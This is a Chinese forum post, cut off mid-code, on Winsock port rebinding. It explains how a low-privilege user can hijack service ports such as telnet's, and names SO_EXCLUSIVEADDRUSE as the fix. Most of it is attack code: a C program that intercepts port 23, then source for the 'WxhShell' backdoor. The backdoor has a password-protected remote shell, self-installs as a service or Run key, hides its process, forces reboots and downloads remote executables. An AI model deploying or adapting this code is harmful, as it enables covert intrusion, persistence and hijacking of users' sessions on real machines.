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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V| 9<*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kEiWE|  
!o+[L  
  saddr.sin_family = AF_INET; EAafi <n  
6?8x[l*5M  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZyAm:yO  
K;j}qJvsb  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); sg0HYb%_E  
#fdQ\)#q>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 P5,X,-eG  
,xmL[Yk,  
  这意味着什么?意味着可以进行如下的攻击: 'PiQ|Nnb|  
<uq#smY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kq +`.  
0P)"_x_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) BO]}E:C9  
3>O=d>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sX_6qKUH  
nz-( 8{ae  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ujb7uho  
&\Kp_AR  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wP-BaB$_  
3pQ^vbQ"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 leY fF  
Vm6 0aXm_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W[ZW=c  
]&;M 78^6  
  #include N5m+r.<;  
  #include oY;=$8y<q  
  #include 2o5Pbdel  
  #include    FH Hi/yh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Fh[Gq  
  int main() w&U>w@H^  
  { $K-od3h4=  
  WORD wVersionRequested; C{g Y*+  
  DWORD ret; *.g@6IkAQ  
  WSADATA wsaData; ;~nz%L J  
  BOOL val; 7|vB\[s  
  SOCKADDR_IN saddr; (A<'{J#5,  
  SOCKADDR_IN scaddr; s01W_P.@R  
  int err; >o45vB4o  
  SOCKET s; s"jNS1B  
  SOCKET sc; )cF1?2  
  int caddsize; '5V#sq;Z  
  HANDLE mt; I[td:9+hK@  
  DWORD tid;   Z#Q)a;RA  
  wVersionRequested = MAKEWORD( 2, 2 ); >wPMJ> 2  
  err = WSAStartup( wVersionRequested, &wsaData ); c+_F}2)  
  if ( err != 0 ) { !}[cY76_  
  printf("error!WSAStartup failed!\n"); ueimTXk  
  return -1; =5 zx]N1r  
  } #" 3az8u  
  saddr.sin_family = AF_INET; k~P{Rm;F  
   M?yWFqFt9m  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~YYg~6}vV  
0nX.%2p#Je  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gJn_Z7MgJ  
  saddr.sin_port = htons(23); [p 6#fG *  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kJy bA  
  { P#8 ]m(  
  printf("error!socket failed!\n"); c2$&pZ M  
  return -1; q/|WkV `m  
  } pbM"tr_A{  
  val = TRUE; +ISXyGu  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -4}I02  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %uVbI'n)  
  { @C}Hx;f6  
  printf("error!setsockopt failed!\n"); #"Wh$x%  
  return -1; =z]8;<=pL  
  } 'yq'J)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t G{?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /nX+*L}d/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >Za66<:  
tFYIKiq2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lQ}e"#<  
  { o}iqLe\  
  ret=GetLastError(); Ya_4[vR<  
  printf("error!bind failed!\n"); 1f.xZgO/2  
  return -1; w|1Gb[  
  } )kE(%q:*P$  
  listen(s,2); B-OuBS,fwC  
  while(1) JKFV7{ %Gl  
  { &M,"%w!  
  caddsize = sizeof(scaddr); ;[_w&"[6a  
  //接受连接请求 MKuy?mri~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M?UlC   
  if(sc!=INVALID_SOCKET) ,u,]ab  
  { ?Z<2zm%qV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); iZ`1Dzxgk  
  if(mt==NULL) zn4Yo  
  { Q&rf&8iH  
  printf("Thread Creat Failed!\n"); h=3156M  
  break; IXSCYqoK  
  } oadlyqlw#  
  } -9S.G  
  CloseHandle(mt); RfT#kh/5  
  } }G8RJxy  
  closesocket(s); aBM'ROQ  
  WSACleanup(); !d1}IU-h  
  return 0; |U_48  
  }   HA{-XPAWZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4*UoTE-g$  
  { FjUp+5  
  SOCKET ss = (SOCKET)lpParam; !Xwp;P=  
  SOCKET sc; /~_Cb= 7  
  unsigned char buf[4096]; `p&ko$i2  
  SOCKADDR_IN saddr; dt"[5;_P`  
  long num; 6TE R Q  
  DWORD val; I(8,D[G.m  
  DWORD ret; pGi "*oZD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &DX9m4,y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   A a2*f[  
  saddr.sin_family = AF_INET;  ?4 `K8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PL8{|Q  
  saddr.sin_port = htons(23); j$*]'s&_hZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %iI0JF*E z  
  { 3zb;q@JV  
  printf("error!socket failed!\n"); m_H$fioha,  
  return -1; }6]V*Kn,  
  } M* W=v  
  val = 100; x8T5aS  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x5m .MQ J  
  { RB_7S!qC5  
  ret = GetLastError(); /UjRuUC]  
  return -1; H ^Xw<Z=  
  } 6|#^4D)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }>xgzhdT  
  { _Z6/r^c  
  ret = GetLastError(); { e2 (  
  return -1; T\:3(+uK  
  } h*hV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zQ {g~x  
  { r2.87  
  printf("error!socket connect failed!\n"); v,RLN`CID  
  closesocket(sc); *&e+z-E  
  closesocket(ss); o lNL|WJ`w  
  return -1; UTUIL D  
  } ;,'!  
  while(1) AEi@t0By  
  { >w9)c|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  | qHWM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7F`QN18>(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n<CJx+U  
  num = recv(ss,buf,4096,0); /[[zAq{OA  
  if(num>0) KLq u[{y.'  
  send(sc,buf,num,0); mo#4jtCE  
  else if(num==0) ~>D;2 S(a  
  break; S:vv*5  
  num = recv(sc,buf,4096,0); Rv q_Zsm  
  if(num>0) /Fh"Gl^  
  send(ss,buf,num,0); V{Idj\~Jh  
  else if(num==0) ]qXHalHY  
  break; 'A !Dg  
  } :c)<B@NqNo  
  closesocket(ss); 35RH|ci&  
  closesocket(sc); tb/u@}")  
  return 0 ; j#&sZ$HQ4  
  } )\^o<x2S  
4PD"[a="  
r=L9x/r  
========================================================== ~JLqx/[|s  
bq[Q  
下边附上一个代码,,WXhSHELL J~gfMp.  
N>ct`a)BD/  
========================================================== pJa FPO..|  
8ZG'?A+{  
#include "stdafx.h" y13=y}dyDH  
  |J(]  
#include <stdio.h> >+vWtO 2  
#include <string.h> s7xRry  
#include <windows.h> t s ?b[v  
#include <winsock2.h>  N%r}0  
#include <winsvc.h> 0M8JE9 Kx  
#include <urlmon.h> hD >:WJ  
i;)g0}x`  
#pragma comment (lib, "Ws2_32.lib") 3<mv9U(  
#pragma comment (lib, "urlmon.lib") /=e[(5X|O  
_"0n.JQg  
#define MAX_USER   100 // 最大客户端连接数 n+Ag |.,|  
#define BUF_SOCK   200 // sock buffer )7j"OE  
#define KEY_BUFF   255 // 输入 buffer [7I|8  
Jh466; E  
#define REBOOT     0   // 重启 4`8.\  
#define SHUTDOWN   1   // 关机 ['R=@.  
_L$)~},cT  
#define DEF_PORT   5000 // 监听端口 29qQ3M?  
=JVRm 2#*  
#define REG_LEN     16   // 注册表键长度 4uftx1o   
#define SVC_LEN     80   // NT服务名长度 U1q$B32  
=]zPUzr,|  
// 从dll定义API s}z,{Y$-t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :T{or-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  gA[M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %BG5[ XQ7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1|. 0]~0  
23OV y^b  
// wxhshell配置信息 "V^jAPDXb  
struct WSCFG { $`=?Nb@@#  
  int ws_port;         // 监听端口 |Q I3H]T7  
  char ws_passstr[REG_LEN]; // 口令 ^@19cU?q  
  int ws_autoins;       // 安装标记, 1=yes 0=no kcOpO<oE  
  char ws_regname[REG_LEN]; // 注册表键名 D$mrnm4d  
  char ws_svcname[REG_LEN]; // 服务名 #TSM#Uqe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [KE4wz+s{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (w^&NU'e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q-au)R,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]Aluk|"`U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nWl0R=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A"k,T7B  
*FE<'+%  
}; ;C{_T:LS  
Z0:BXtW  
// default Wxhshell configuration /<2_K4(-{4  
struct WSCFG wscfg={DEF_PORT, d{trO;%#f  
    "xuhuanlingzhe", 5;Z~+$1  
    1, e5/_Vga  
    "Wxhshell", n^%u9H  
    "Wxhshell", $-0u`=!  
            "WxhShell Service", Aa Ma9hvT!  
    "Wrsky Windows CmdShell Service", 0IdD   
    "Please Input Your Password: ", gJ7$G3&oZg  
  1, 950b9Vn&  
  "http://www.wrsky.com/wxhshell.exe", d{m0uX56  
  "Wxhshell.exe" ,-"]IR!,w  
    }; a&[nVu+  
hf-S6PEsM  
// 消息定义模块 4<Y?#bm'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o&O!Ur  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?c+;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zN:752d^+r  
char *msg_ws_ext="\n\rExit."; +W1rm$Q  
char *msg_ws_end="\n\rQuit."; 'YeJGzsJp  
char *msg_ws_boot="\n\rReboot..."; $d=lDN  
char *msg_ws_poff="\n\rShutdown..."; RW)C<g  
char *msg_ws_down="\n\rSave to "; S=2,jPX2r  
3IkG*enI  
char *msg_ws_err="\n\rErr!"; 8xX{y#  
char *msg_ws_ok="\n\rOK!"; vKC>t95  
h CiblM  
char ExeFile[MAX_PATH]; >xjy P!bca  
int nUser = 0; 3:( `#YY  
HANDLE handles[MAX_USER]; 7ou^wt+%  
int OsIsNt; r:cUAe7#  
*8p</Q  
SERVICE_STATUS       serviceStatus; . <B1i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &)l:m.  
+=_Pl7?  
// 函数声明 ?1uAY.~ZZB  
int Install(void); f/x "yUq  
int Uninstall(void); (G VGoh&  
int DownloadFile(char *sURL, SOCKET wsh); LcXMOT)s  
int Boot(int flag); 1#(1Bs6X  
void HideProc(void); [oj"Tn(  
int GetOsVer(void); ?q P }=nJ  
int Wxhshell(SOCKET wsl); 66*o2D\Q*G  
void TalkWithClient(void *cs); 0FOf *Lz  
int CmdShell(SOCKET sock); wO#+8js  
int StartFromService(void); =+ p+_}C  
int StartWxhshell(LPSTR lpCmdLine); |@BN+o;`Om  
YSgF'qq\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); * 5n:+Tw(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w^gh&E  
>gl.(b25C  
// 数据结构和表定义 umzYJ>2t  
SERVICE_TABLE_ENTRY DispatchTable[] = ^|C|=q~:  
{ x8Sq+BY  
{wscfg.ws_svcname, NTServiceMain}, 5WT\0]RUa  
{NULL, NULL} u $#7W>R  
}; .a*$WGb  
Be+:-t)  
// 自我安装 @nu/0+8h{  
int Install(void) pC-OZ0  
{ F6p1 VFs  
  char svExeFile[MAX_PATH]; UD{/L"GG  
  HKEY key; 3;NRW+  
  strcpy(svExeFile,ExeFile); D OeKW  
Br5Io=/wg  
// 如果是win9x系统,修改注册表设为自启动 gQWX<  
if(!OsIsNt) { mx~sxYa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .h,xBT`}Ji  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q=E@i9c9  
  RegCloseKey(key); $sZHApJV+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { moR2iyO_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &F_rg,q&_  
  RegCloseKey(key); sv"mba.J  
  return 0; v\,%)Z/  
    } *K'ej4"u  
  } Ky#B'Bh}`g  
} m7vxzC*  
else { ,<b|@1\k  
A@(h!Cq  
// 如果是NT以上系统,安装为系统服务 fhKiG%i'l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~+C?][T  
if (schSCManager!=0) k&iDJt  
{ v`^J3A  
  SC_HANDLE schService = CreateService ;bZ*6-\!-  
  ( mo[<4U ks  
  schSCManager, p"IS"k%  
  wscfg.ws_svcname, c8tC3CrKp=  
  wscfg.ws_svcdisp, 4UjE*Aq  
  SERVICE_ALL_ACCESS, ^!o}>ls['  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FJ8@b  
  SERVICE_AUTO_START, 6L9[U^`@  
  SERVICE_ERROR_NORMAL, aGb. Lh9  
  svExeFile, Xj~EVD  
  NULL, D"4&9"CU  
  NULL, ]^jdO##M  
  NULL, (%yc5+f!  
  NULL, cvE.r330|  
  NULL =4<S8Cp  
  ); F(9 Y/UXH  
  if (schService!=0) DnsP7k.8T  
  { &4&33D  
  CloseServiceHandle(schService); e ]o'i;I  
  CloseServiceHandle(schSCManager); Wk#h,p3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !{tiTA  
  strcat(svExeFile,wscfg.ws_svcname); 4bev* [k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %M#?cmt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D?yE$_3>c  
  RegCloseKey(key); "lz[zFnO  
  return 0; U5CPkH1  
    } ^qGA!_  
  } =lC;^&D-0/  
  CloseServiceHandle(schSCManager); 'nWs0iH.  
} OssR[$69  
} (e>Rot0  
ct}%Mdg  
return 1; KU|BT .o8  
} ] @)!:<+  
yvd `nV  
// 自我卸载 !3I(4?G,  
int Uninstall(void) MuoctW  
{ poQdI?ed,  
  HKEY key; YYE8/\+B.  
t'Eb#Nup3  
if(!OsIsNt) { G_M:0YI@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (#bp`Kih  
  RegDeleteValue(key,wscfg.ws_regname); E {KS a  
  RegCloseKey(key); '9 e\.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aM{@1m Bm  
  RegDeleteValue(key,wscfg.ws_regname); w3=)S\  
  RegCloseKey(key); yS)- &t!;  
  return 0; j&dx[4|m:h  
  } M U?{?5  
} PW*;Sp  
} s~LZOPN  
else { }F{C= l2  
t{Hh&HX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =_8 UZk.  
if (schSCManager!=0) AhvvuN$n%  
{ "7kgez#Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,@Fgr(?'`>  
  if (schService!=0) =R&)hlm  
  { Iz}2 ^  
  if(DeleteService(schService)!=0) { h4aygc  
  CloseServiceHandle(schService); 5pRY&6So  
  CloseServiceHandle(schSCManager); ImWXzg3@{  
  return 0; 3(!/["@7  
  } pbDw Lo]  
  CloseServiceHandle(schService); <i}q=%W!1  
  } 2{t)DUs  
  CloseServiceHandle(schSCManager); dD/t_ {h  
} w"cM<Ewu  
} )=jT_?9b   
f?%qUD_#  
return 1; oGm1d{_-O  
} :E>&s9Yj?  
g/IH|Z=A  
// 从指定url下载文件 !2}rtDE  
int DownloadFile(char *sURL, SOCKET wsh) uR#'lb`3  
{ <S]KaDu^  
  HRESULT hr; },DyU  
char seps[]= "/"; jg[5UTkcs  
char *token; j%pCuC&"  
char *file; "r8EC  
char myURL[MAX_PATH]; dh&W;zs  
char myFILE[MAX_PATH]; 7p)N_cJD  
j]pohxn$5  
strcpy(myURL,sURL); *(k%MTG  
  token=strtok(myURL,seps); "hWJ3pi{o{  
  while(token!=NULL) _yj1:TtCNT  
  { }>V/H]B  
    file=token; ~xS@]3n=  
  token=strtok(NULL,seps); 42fprt  
  } ^8:VWJM  
UqN{JG:#.  
GetCurrentDirectory(MAX_PATH,myFILE); %a5t15 9  
strcat(myFILE, "\\"); bA}Z0a  
strcat(myFILE, file); I*Vt,JYx  
  send(wsh,myFILE,strlen(myFILE),0); VCjq3/[_  
send(wsh,"...",3,0); SD?BM-&~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &vCeLh:s  
  if(hr==S_OK) :$=|7v  
return 0; N31?9GE  
else OU!nN>ln  
return 1; OB~C}'^$  
%JQ~!3  
} ,eDD:#)$}  
!\^jt%e&  
// 系统电源模块 AH^e]<2-  
int Boot(int flag) ,yICNtP  
{ F;u7A]H^  
  HANDLE hToken; v dU%R\  
  TOKEN_PRIVILEGES tkp; `mzb(b E  
q +R*Hi  
  if(OsIsNt) { 7rcA[)<'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7R,qDp S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vt.P*Z5  
    tkp.PrivilegeCount = 1; /s:w^ g~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S ZlC4=6c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2Z)4(,  
if(flag==REBOOT) { Ry z?v<)h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?6f7ld5  
  return 0; ;1 |x  
} $Jp~\_X  
else { y7z(&M@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hGI+:Js6  
  return 0; q\R q!7(  
} Z\Z,,g+WL  
  } fG&=Ogy  
  else { abi[jxCG  
if(flag==REBOOT) { =A@>I0(7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @'i+ff\  
  return 0; v^SsoX>WMH  
} Hz@h0+h  
else { :"QfF@Z{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *0y{ ~@  
  return 0; bO3GVc+S  
} XJgh>^R^  
} 0C$8g Y*  
BLn_u,3  
return 1; r\2vl8X~  
} l%~lz[  
:et#0!  
// win9x进程隐藏模块 PcC/_+2  
void HideProc(void) rp's  
{ raE Mm  
*fnvZw?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c2 Aps  
  if ( hKernel != NULL ) E{y1S\7K  
  { <T+!V-Pj*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z.oU4c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /_t|Dry015  
    FreeLibrary(hKernel); :Q_3hK  
  } ]Gv!M?:  
vXv;1T  
return; +G*JrwJ&=  
} ~ #PLAP3-  
3qaMO#{M  
// 获取操作系统版本 C <B<o[:H  
int GetOsVer(void) n~.*1. P  
{ 6N~q`;p0  
  OSVERSIONINFO winfo; 5Bjgr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UZ2TqR  
  GetVersionEx(&winfo); KxzYfH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ps4 ZFX  
  return 1; 4!.(|h@  
  else {X~ gwoz  
  return 0; i7*EbaYzUO  
} Kibr ]w  
VT%:zf  
// 客户端句柄模块 fv!?Ga(  
int Wxhshell(SOCKET wsl) k@dN$O%p  
{ }ns-W3B'  
  SOCKET wsh; !bnyJA  
  struct sockaddr_in client; k*mt4~KLT8  
  DWORD myID; B<?w h0  
*L4`$@l8  
  while(nUser<MAX_USER) p-GAe,2q  
{ /Ncm^b4  
  int nSize=sizeof(client); "Gb1K9A im  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2c5-)Dt)T  
  if(wsh==INVALID_SOCKET) return 1; z4X}O {  
nkfZiyx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lQ'GX9hN@  
if(handles[nUser]==0) #OO>rm$  
  closesocket(wsh); "A$!, PX6  
else 7!WA)@6  
  nUser++; 42J {aJVH  
  } TS2ZF{m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aJ") <_+  
u&mS8i}  
  return 0; -i yyn ^|  
} -h|B1*mt  
a`[uNgDO  
// 关闭 socket ,EGQ@:3/  
void CloseIt(SOCKET wsh) i.D3'l  
{ x^4xq#Bb7  
closesocket(wsh); }X*Riu7gk  
nUser--; eIRLNxt+v  
ExitThread(0); N ,8/Y  
} Y2o?gug  
tg]x0#@s  
// 客户端请求句柄 AP77a*@8  
void TalkWithClient(void *cs) 7(5xL T$  
{ u/cg|]x&T  
Q8!) !r%  
  SOCKET wsh=(SOCKET)cs; i;LXu%3\  
  char pwd[SVC_LEN]; vVE2m=!v  
  char cmd[KEY_BUFF]; x=ul&|^7D  
char chr[1]; [<DZ*|+  
int i,j; t2,A@2DU 2  
8"sb;  
  while (nUser < MAX_USER) { Llr>9(|  
LaQ-=;(`  
if(wscfg.ws_passstr) { GrUCZ<S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1pArZzm>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "@?? Fw!  
  //ZeroMemory(pwd,KEY_BUFF); v?KC%  
      i=0; #Q2Y&2`yGT  
  while(i<SVC_LEN) { e,t(q(L  
VeW>[08  
  // 设置超时 :x tXQza"-  
  fd_set FdRead; 8 7D*-Gw  
  struct timeval TimeOut; :2 *g~6  
  FD_ZERO(&FdRead); a)wJT`xu  
  FD_SET(wsh,&FdRead); 6 J{k(H$3  
  TimeOut.tv_sec=8; !o:f$6EA~C  
  TimeOut.tv_usec=0; N<~t3/Nm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `DV.+>O-1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dBz/7&Q   
9WyAb3d'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0u;4%}pD  
  pwd=chr[0];  Vh_P/C+  
  if(chr[0]==0xd || chr[0]==0xa) { 9I}-[|`u  
  pwd=0; eA E`# t  
  break; |S_eDjF  
  } U4d:] z  
  i++; 6}d.5^7lr  
    } wne,e's}   
#ZB~ x6i6  
  // 如果是非法用户,关闭 socket Tf'hc]`vS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f&Gt|  
} <g"{Wv: h  
vSEuk}pk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !2ZF(@C /  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P GqQ@6B  
? m DI#~)  
while(1) { sB7# ~p A  
N sXHO  
  ZeroMemory(cmd,KEY_BUFF); 32&;`]C  
x(1:s|Uyp{  
      // 自动支持客户端 telnet标准   t'n pG}`tE  
  j=0; LRL,m_gt  
  while(j<KEY_BUFF) { 4h|c<-`>t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +S o4rA*9  
  cmd[j]=chr[0]; IxY|>5z  
  if(chr[0]==0xa || chr[0]==0xd) { y [}.yyye  
  cmd[j]=0; <M+|rD]oc  
  break; MTuV^0%jD  
  } ~%&LTX0s|  
  j++; ! >FYK}c7  
    } >qnko9V  
*4\:8  
  // 下载文件 @>,^":`#  
  if(strstr(cmd,"http://")) { m*&]!mM"0G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f6hnTbJ  
  if(DownloadFile(cmd,wsh)) e"{{ TcNk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E(>=rD/+  
  else c"f-3kFv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]L5@,E4.  
  } +%<(E  
  else { ;`0%t$@-  
8\&X2[oAD  
    switch(cmd[0]) { n] ._uza  
  Cio 1E-4  
  // 帮助 -_=nDH  
  case '?': { G#ZH.24Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _>&X\`D   
    break; {'7B6  
  } I9|mG'  
  // 安装 f\|w '  
  case 'i': { BX`{73sw  
    if(Install()) Ua:}Vn&!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Z>Ux3[  
    else T6\[iJI|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p_RsU`[  
    break; ER%^!xA  
    } 5'OrHk;u  
  // 卸载 b6,iZ+]  
  case 'r': { /CrSu  
    if(Uninstall()) rDdoOb]B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (p"%O  
    else W: z6Koc0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !z\h| wU+  
    break; $o+j El>  
    } S\CCrje  
  // 显示 wxhshell 所在路径 R)c?`:iUB  
  case 'p': { {i;r  
    char svExeFile[MAX_PATH]; u+9hL4  
    strcpy(svExeFile,"\n\r"); \[;0 KV_  
      strcat(svExeFile,ExeFile); xK>*yV  
        send(wsh,svExeFile,strlen(svExeFile),0); NDN7[7E  
    break; d-oMQGOklb  
    } iDpSj!x/_  
  // 重启 Sj3+l7S?  
  case 'b': { s n8Qk=K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sU=H&D99  
    if(Boot(REBOOT)) KqHyG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f[]dfLS"W  
    else { z}.e]|b^H  
    closesocket(wsh);  0HZ{Y9]  
    ExitThread(0);  CT&|QH{  
    } Ugr!"Q#M  
    break; atj(eg  
    } T6'^EZZY  
  // 关机 &5>Kl}7  
